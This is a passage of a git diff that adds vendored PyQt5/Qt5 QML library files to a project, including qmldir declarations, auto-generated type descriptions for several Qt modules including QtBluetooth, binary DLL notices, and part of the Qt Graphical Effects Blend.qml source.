"sizeHint"; type: "QJSValue" } + Property { name: "setSizeHint"; type: "QJSValue" } + Signal { name: "indexChanged" } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/qmlmodels/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/qmlmodels/qmldir new file mode 100644 index 00000000..9c735711 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/qmlmodels/qmldir @@ -0,0 +1,3 @@ +module Qt.labs.qmlmodels +plugin labsmodelsplugin +classname QtQmlLabsModelsPlugin diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/settings/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/settings/plugins.qmltypes new file mode 100644 index 00000000..085f0b84 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/settings/plugins.qmltypes @@ -0,0 +1,37 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by qmltyperegistrar. + +Module { + dependencies: [] + Component { + file: "qqmlsettings_p.h" + name: "QQmlSettings" + prototype: "QObject" + exports: ["Qt.labs.settings/Settings 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "category"; type: "string" } + Property { name: "fileName"; type: "string" } + Method { name: "_q_propertyChanged" } + Method { + name: "value" + type: "QVariant" + Parameter { name: "key"; type: "string" } + Parameter { name: "defaultValue"; type: "QVariant" } + } + Method { + name: "value" + type: "QVariant" + Parameter { name: "key"; type: "string" } + } + Method { + name: "setValue" + Parameter { name: "key"; type: "string" } + Parameter { name: "value"; type: "QVariant" } + } + Method { name: "sync" } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/settings/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/settings/qmldir new file mode 100644 index 00000000..93d8e671 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/settings/qmldir @@ -0,0 +1,4 @@ +module Qt.labs.settings +plugin qmlsettingsplugin +classname QmlSettingsPlugin +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/settings/qmlsettingsplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/settings/qmlsettingsplugin.dll new file mode 100644 index 00000000..fa602ab0 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/settings/qmlsettingsplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/sharedimage/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/sharedimage/plugins.qmltypes new file mode 100644 index 00000000..f4710cdd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/sharedimage/plugins.qmltypes @@ -0,0 +1,10 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by qmltyperegistrar. + +Module { + dependencies: ["QtQuick 2.0"] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/sharedimage/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/sharedimage/qmldir new file mode 100644 index 00000000..079399dc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/sharedimage/qmldir @@ -0,0 +1,3 @@ +module Qt.labs.sharedimage +plugin sharedimageplugin +classname QtQuickSharedImagePlugin diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/sharedimage/sharedimageplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/sharedimage/sharedimageplugin.dll new file mode 100644 index 00000000..c34fcb5a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/sharedimage/sharedimageplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/wavefrontmesh/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/wavefrontmesh/plugins.qmltypes new file mode 100644 index 00000000..d139ca95 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/wavefrontmesh/plugins.qmltypes @@ -0,0 +1,38 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by qmltyperegistrar. + +Module { + dependencies: ["QtQuick 2.0"] + Component { + file: "qwavefrontmesh.h" + name: "QWavefrontMesh" + prototype: "QQuickShaderEffectMesh" + exports: ["Qt.labs.wavefrontmesh/WavefrontMesh 1.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "Error" + values: [ + "NoError", + "InvalidSourceError", + "UnsupportedFaceShapeError", + "UnsupportedIndexSizeError", + "FileNotFoundError", + "NoAttributesError", + "MissingPositionAttributeError", + "MissingTextureCoordinateAttributeError", + "MissingPositionAndTextureCoordinateAttributesError", + "TooManyAttributesError", + "InvalidPlaneDefinitionError" + ] + } + Property { name: "source"; type: "QUrl" } + Property { name: "lastError"; type: "Error"; isReadonly: true } + Property { name: "projectionPlaneV"; type: "QVector3D" } + Property { name: "projectionPlaneW"; type: "QVector3D" } + Method { name: "readData" } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/wavefrontmesh/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/wavefrontmesh/qmldir new file mode 100644 index 00000000..fed15dd0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/wavefrontmesh/qmldir @@ -0,0 +1,4 @@ +module Qt.labs.wavefrontmesh +plugin qmlwavefrontmeshplugin +classname QmlWavefrontMeshPlugin +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/wavefrontmesh/qmlwavefrontmeshplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/wavefrontmesh/qmlwavefrontmeshplugin.dll new file mode 100644 index 00000000..083f5e46 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/wavefrontmesh/qmlwavefrontmeshplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/test/qtestroot/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/test/qtestroot/plugins.qmltypes new file mode 100644 index 00000000..384cffe2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/test/qtestroot/plugins.qmltypes @@ -0,0 +1,23 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by qmltyperegistrar. + +Module { + dependencies: ["QtQuick 2.0"] + Component { + file: "private/quicktest_p.h" + name: "QTestRootObject" + prototype: "QObject" + exports: ["Qt.test.qtestroot/QTestRootObject 1.0"] + isCreatable: false + isSingleton: true + exportMetaObjectRevisions: [0] + Property { name: "windowShown"; type: "bool"; isReadonly: true } + Property { name: "hasTestCase"; type: "bool" } + Property { name: "defined"; type: "QObject"; isReadonly: true; isPointer: true } + Method { name: "quit" } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/test/qtestroot/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/test/qtestroot/qmldir new file mode 100644 index 00000000..5e9d5e2c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/test/qtestroot/qmldir @@ -0,0 +1,2 @@ +module Qt.test.qtestroot +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtBluetooth/declarative_bluetooth.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtBluetooth/declarative_bluetooth.dll new file mode 100644 index 00000000..160c2b17 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtBluetooth/declarative_bluetooth.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtBluetooth/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtBluetooth/plugins.qmltypes new file mode 100644 index 00000000..2aac2df5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtBluetooth/plugins.qmltypes @@ -0,0 +1,409 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtBluetooth 5.15' + +Module { + dependencies: ["QtQuick 2.0"] + Component { + name: "QAbstractItemModel" + prototype: "QObject" + Enum { + name: "LayoutChangeHint" + values: { + "NoLayoutChangeHint": 0, + "VerticalSortHint": 1, + "HorizontalSortHint": 2 + } + } + Enum { + name: "CheckIndexOption" + values: { + "NoOption": 0, + "IndexIsValid": 1, + "DoNotUseParent": 2, + "ParentIsInvalid": 4 + } + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + Parameter { name: "roles"; type: "QVector" } + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + } + Signal { + name: "headerDataChanged" + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutChanged" } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutAboutToBeChanged" } + Signal { + name: "rowsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { name: "modelAboutToBeReset" } + Signal { name: "modelReset" } + Signal { + name: "rowsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationRow"; type: "int" } + } + Signal { + name: "rowsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "row"; type: "int" } + } + Signal { + name: "columnsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationColumn"; type: "int" } + } + Signal { + name: "columnsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "column"; type: "int" } + } + Method { name: "submit"; type: "bool" } + Method { name: "revert" } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "parent" + type: "QModelIndex" + Parameter { name: "child"; type: "QModelIndex" } + } + Method { + name: "sibling" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "idx"; type: "QModelIndex" } + } + Method { + name: "rowCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "rowCount"; type: "int" } + Method { + name: "columnCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "columnCount"; type: "int" } + Method { + name: "hasChildren" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "hasChildren"; type: "bool" } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + } + Method { + name: "fetchMore" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "canFetchMore" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "flags" + type: "Qt::ItemFlags" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + Parameter { name: "flags"; type: "Qt::MatchFlags" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + } + } + Component { name: "QAbstractListModel"; prototype: "QAbstractItemModel" } + Component { + name: "QDeclarativeBluetoothDiscoveryModel" + prototype: "QAbstractListModel" + exports: [ + "QtBluetooth/BluetoothDiscoveryModel 5.0", + "QtBluetooth/BluetoothDiscoveryModel 5.2" + ] + exportMetaObjectRevisions: [0, 0] + Enum { + name: "DiscoveryMode" + values: { + "MinimalServiceDiscovery": 0, + "FullServiceDiscovery": 1, + "DeviceDiscovery": 2 + } + } + Enum { + name: "Error" + values: { + "NoError": 0, + "InputOutputError": 1, + "PoweredOffError": 2, + "UnknownError": 3, + "InvalidBluetoothAdapterError": 4 + } + } + Property { name: "error"; type: "Error"; isReadonly: true } + Property { name: "discoveryMode"; type: "DiscoveryMode" } + Property { name: "running"; type: "bool" } + Property { name: "uuidFilter"; type: "string" } + Property { name: "remoteAddress"; type: "string" } + Signal { + name: "serviceDiscovered" + Parameter { name: "service"; type: "QDeclarativeBluetoothService"; isPointer: true } + } + Signal { + name: "deviceDiscovered" + Parameter { name: "device"; type: "string" } + } + } + Component { + name: "QDeclarativeBluetoothService" + prototype: "QObject" + exports: [ + "QtBluetooth/BluetoothService 5.0", + "QtBluetooth/BluetoothService 5.2" + ] + exportMetaObjectRevisions: [0, 0] + Enum { + name: "Protocol" + values: { + "RfcommProtocol": 2, + "L2CapProtocol": 1, + "UnknownProtocol": 0 + } + } + Property { name: "deviceName"; type: "string"; isReadonly: true } + Property { name: "deviceAddress"; type: "string" } + Property { name: "serviceName"; type: "string" } + Property { name: "serviceDescription"; type: "string" } + Property { name: "serviceUuid"; type: "string" } + Property { name: "serviceProtocol"; type: "Protocol" } + Property { name: "registered"; type: "bool" } + Signal { name: "detailsChanged" } + Signal { name: "newClient" } + Method { name: "nextClient"; type: "QDeclarativeBluetoothSocket*" } + Method { + name: "assignNextClient" + Parameter { name: "dbs"; type: "QDeclarativeBluetoothSocket"; isPointer: true } + } + } + Component { + name: "QDeclarativeBluetoothSocket" + prototype: "QObject" + exports: [ + "QtBluetooth/BluetoothSocket 5.0", + "QtBluetooth/BluetoothSocket 5.2" + ] + exportMetaObjectRevisions: [0, 0] + Enum { + name: "Error" + values: { + "NoError": -2, + "UnknownSocketError": -1, + "RemoteHostClosedError": 1, + "HostNotFoundError": 2, + "ServiceNotFoundError": 9, + "NetworkError": 7, + "UnsupportedProtocolError": 8 + } + } + Enum { + name: "SocketState" + values: { + "Unconnected": 0, + "ServiceLookup": 1, + "Connecting": 2, + "Connected": 3, + "Bound": 4, + "Closing": 6, + "Listening": 5, + "NoServiceSet": 100 + } + } + Property { name: "service"; type: "QDeclarativeBluetoothService"; isPointer: true } + Property { name: "connected"; type: "bool" } + Property { name: "error"; type: "Error"; isReadonly: true } + Property { name: "socketState"; type: "SocketState"; isReadonly: true } + Property { name: "stringData"; type: "string" } + Signal { name: "stateChanged" } + Signal { name: "dataAvailable" } + Method { + name: "setService" + Parameter { name: "service"; type: "QDeclarativeBluetoothService"; isPointer: true } + } + Method { + name: "setConnected" + Parameter { name: "connected"; type: "bool" } + } + Method { + name: "sendStringData" + Parameter { name: "data"; type: "string" } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtBluetooth/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtBluetooth/qmldir new file mode 100644 index 00000000..2f5b2fac --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtBluetooth/qmldir @@ -0,0 +1,4 @@ +module QtBluetooth +plugin declarative_bluetooth +classname QBluetoothQmlPlugin +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/Blend.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/Blend.qml new file mode 100644 index 00000000..e5f4816a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/Blend.qml @@ -0,0 +1,486 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype Blend + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-blend + \brief Merges two source items by using a blend mode. + + Blend mode can be selected with the \l{Blend::mode}{mode} property. + + \table + \header + \li source + \li foregroundSource + \li Effect applied + \row + \li \image Original_bug.png + \li \image Original_butterfly.png + \li \image Blend_bug_and_butterfly.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet Blend-example.qml example + +*/ + +Item { + id: rootItem + + /*! + This property defines the source item that is going to be the base when + \l{Blend::foregroundSource}{foregroundSource} is blended over it. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + + /*! + This property defines the item that is going to be blended over the + \l{Blend::source}{source}. + + \note It is not supported to let the effect include itself, for + instance by setting foregroundSource to the effect's parent. + */ + property variant foregroundSource + + /*! + This property defines the mode which is used when foregroundSource is + blended over source. Values are case insensitive. + + \table + \header + \li mode + \li description + \row + \li normal + \li The pixel component values from foregroundSource are written + over source by using alpha blending. + \row + \li addition + \li The pixel component values from source and foregroundSource are + added together and written. + \row + \li average + \li The pixel component values from source and foregroundSource are + averaged and written. + \row + \li color + \li The lightness value from source is combined with hue and + saturation from foregroundSource and written. + \row + \li colorBurn + \li The darker pixels from source are darkened more, if both source + and foregroundSource pixels are light the result is light. + \row + \li colorDodge + \li The lighter pixels from source are lightened more, if both + source and foregroundSource pixels are dark the result is dark. + \row + \li darken + \li The darker pixel component value from source and + foregroundSource is written. + \row + \li darkerColor + \li The lower luminance pixel rgb-value from source and + foregroundSource is written. + \row + \li difference + \li The absolute pixel component value difference between source and + foregroundSource is written. + \row + \li divide + \li The pixel component values from source is divided by the value + from foregroundSource and written. + \row + \li exclusion + \li The pixel component value difference with reduced contrast + between source and foregroundSource is written. + \row + \li hardLight + \li The pixel component values from source are lightened or darkened + according to foregroundSource values and written. + \row + \li hue + \li The hue value from foregroundSource is combined with saturation + and lightness from source and written. + \row + \li lighten + \li The lightest pixel component value from source and + foregroundSource is written. + \row + \li lighterColor + \li The higher luminance pixel rgb-value from source and + foregroundSource is written. + \row + \li lightness + \li The lightness value from foregroundSource is combined with hue + and saturation from source and written. + \row + \li multiply + \li The pixel component values from source and foregroundSource are + multiplied together and written. + \row + \li negation + \li The inverted absolute pixel component value difference between + source and foregroundSource is written. + \row + \li saturation + \li The saturation value from foregroundSource is combined with hue + and lightness from source and written. + \row + \li screen + \li The pixel values from source and foregroundSource are negated, + then multiplied, negated again, and written. + \row + \li subtract + \li Pixel value from foregroundSource is subracted from source and + written. + \row + \li softLight + \li The pixel component values from source are lightened or darkened + slightly according to foregroundSource values and written. + + \endtable + + \table + \header + \li Example source + \li Example foregroundSource + \row + \li \image Original_bug.png + \li \image Original_butterfly.png + \endtable + + \table + \header + \li Output examples with different mode values + \li + \li + \row + \li \image Blend_mode1.png + \li \image Blend_mode2.png + \li \image Blend_mode3.png + \row + \li \b { mode: normal } + \li \b { mode: addition } + \li \b { mode: average } + \row + \li \image Blend_mode4.png + \li \image Blend_mode5.png + \li \image Blend_mode6.png + \row + \li \b { mode: color } + \li \b { mode: colorBurn } + \li \b { mode: colorDodge } + \row + \li \image Blend_mode7.png + \li \image Blend_mode8.png + \li \image Blend_mode9.png + \row + \li \b { mode: darken } + \li \b { mode: darkerColor } + \li \b { mode: difference } + \row + \li \image Blend_mode10.png + \li \image Blend_mode11.png + \li \image Blend_mode12.png + \row + \li \b { mode: divide } + \li \b { mode: exclusion } + \li \b { mode: hardlight } + \row + \li \image Blend_mode13.png + \li \image Blend_mode14.png + \li \image Blend_mode15.png + \row + \li \b { mode: hue } + \li \b { mode: lighten } + \li \b { mode: lighterColor } + \row + \li \image Blend_mode16.png + \li \image Blend_mode17.png + \li \image Blend_mode18.png + \row + \li \b { mode: lightness } + \li \b { mode: negation } + \li \b { mode: multiply } + \row + \li \image Blend_mode19.png + \li \image Blend_mode20.png + \li \image Blend_mode21.png + \row + \li \b { mode: saturation } + \li \b { mode: screen } + \li \b { mode: subtract } + \row + \li \image Blend_mode22.png + \row + \li \b { mode: softLight } + \endtable + */ + property string mode: "normal" + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in the + cache must be updated. Memory consumption is increased, because an extra + buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to false. + + */ + property bool cached: false + + SourceProxy { + id: backgroundSourceProxy + input: rootItem.source + } + + SourceProxy { + id: foregroundSourceProxy + input: rootItem.foregroundSource + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: parent + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + property variant backgroundSource: backgroundSourceProxy.output + property variant foregroundSource: foregroundSourceProxy.output + property string mode: rootItem.mode + anchors.fill: parent + + fragmentShader: fragmentShaderBegin + blendModeNormal + fragmentShaderEnd + + function buildFragmentShader() { + var shader = fragmentShaderBegin + + switch (mode.toLowerCase()) { + case "addition" : shader += blendModeAddition; break; + case "average" : shader += blendModeAverage; break; + case "color" : shader += blendModeColor; break; + case "colorburn" : shader += blendModeColorBurn; break; + case "colordodge" : shader += blendModeColorDodge; break; + case "darken" : shader += blendModeDarken; break; + case "darkercolor" : shader += blendModeDarkerColor; break; + case "difference" : shader += blendModeDifference; break; + case "divide" : shader += blendModeDivide; break; + case "exclusion" : shader += blendModeExclusion; break; + case "hardlight" : shader += blendModeHardLight; break; + case "hue" : shader += blendModeHue; break; + case "lighten" : shader += blendModeLighten; break; + case "lightercolor" : shader += blendModeLighterColor; break; + case "lightness" : shader += blendModeLightness; break; + case "negation" : shader += blendModeNegation; break; + case "normal" : shader += blendModeNormal; break; + case "multiply" : shader += blendModeMultiply; break; + case "saturation" : shader += blendModeSaturation; break; + case "screen" : shader += blendModeScreen; break; + case "subtract" : shader += blendModeSubtract; break; + case "softlight" : shader += blendModeSoftLight; break; + default: shader += "gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0);"; break; + } + + shader += fragmentShaderEnd + fragmentShader = shader + + // Workaraound for a bug just to make sure display gets updated when the mode changes. + backgroundSourceChanged() + } + + Component.onCompleted: { + buildFragmentShader() + } + + onModeChanged: { + buildFragmentShader() + } + + property string blendModeAddition: "result.rgb = min(rgb1 + rgb2, 1.0);" + property string blendModeAverage: "result.rgb = 0.5 * (rgb1 + rgb2);" + property string blendModeColor: "result.rgb = HSLtoRGB(vec3(RGBtoHSL(rgb2).xy, RGBtoL(rgb1)));" + property string blendModeColorBurn: "result.rgb = clamp(1.0 - ((1.0 - rgb1) / max(vec3(1.0 / 256.0), rgb2)), vec3(0.0), vec3(1.0));" + property string blendModeColorDodge: "result.rgb = clamp(rgb1 / max(vec3(1.0 / 256.0), (1.0 - rgb2)), vec3(0.0), vec3(1.0));" + property string blendModeDarken: "result.rgb = min(rgb1, rgb2);" + property string blendModeDarkerColor: "result.rgb = 0.3 * rgb1.r + 0.59 * rgb1.g + 0.11 * rgb1.b > 0.3 * rgb2.r + 0.59 * rgb2.g + 0.11 * rgb2.b ? rgb2 : rgb1;" + property string blendModeDifference: "result.rgb = abs(rgb1 - rgb2);" + property string blendModeDivide: "result.rgb = clamp(rgb1 / rgb2, 0.0, 1.0);" + property string blendModeExclusion: "result.rgb = rgb1 + rgb2 - 2.0 * rgb1 * rgb2;" + property string blendModeHardLight: "result.rgb = vec3(channelBlendHardLight(rgb1.r, rgb2.r), channelBlendHardLight(rgb1.g, rgb2.g), channelBlendHardLight(rgb1.b, rgb2.b));" + property string blendModeHue: "result.rgb = HSLtoRGB(vec3(RGBtoHSL(rgb2).x, RGBtoHSL(rgb1).yz));" + property string blendModeLighten: "result.rgb = max(rgb1, rgb2);" + property string blendModeLighterColor: "result.rgb = 0.3 * rgb1.r + 0.59 * rgb1.g + 0.11 * rgb1.b > 0.3 * rgb2.r + 0.59 * rgb2.g + 0.11 * rgb2.b ? rgb1 : rgb2;" + property string blendModeLightness: "result.rgb = HSLtoRGB(vec3(RGBtoHSL(rgb1).xy, RGBtoL(rgb2)));" + property string blendModeMultiply: "result.rgb = rgb1 * rgb2;" + property string blendModeNegation: "result.rgb = 1.0 - abs(1.0 - rgb1 - rgb2);" + property string blendModeNormal: "result.rgb = rgb2; a = max(color1.a, color2.a);" + property string blendModeSaturation: "lowp vec3 hsl1 = RGBtoHSL(rgb1); result.rgb = 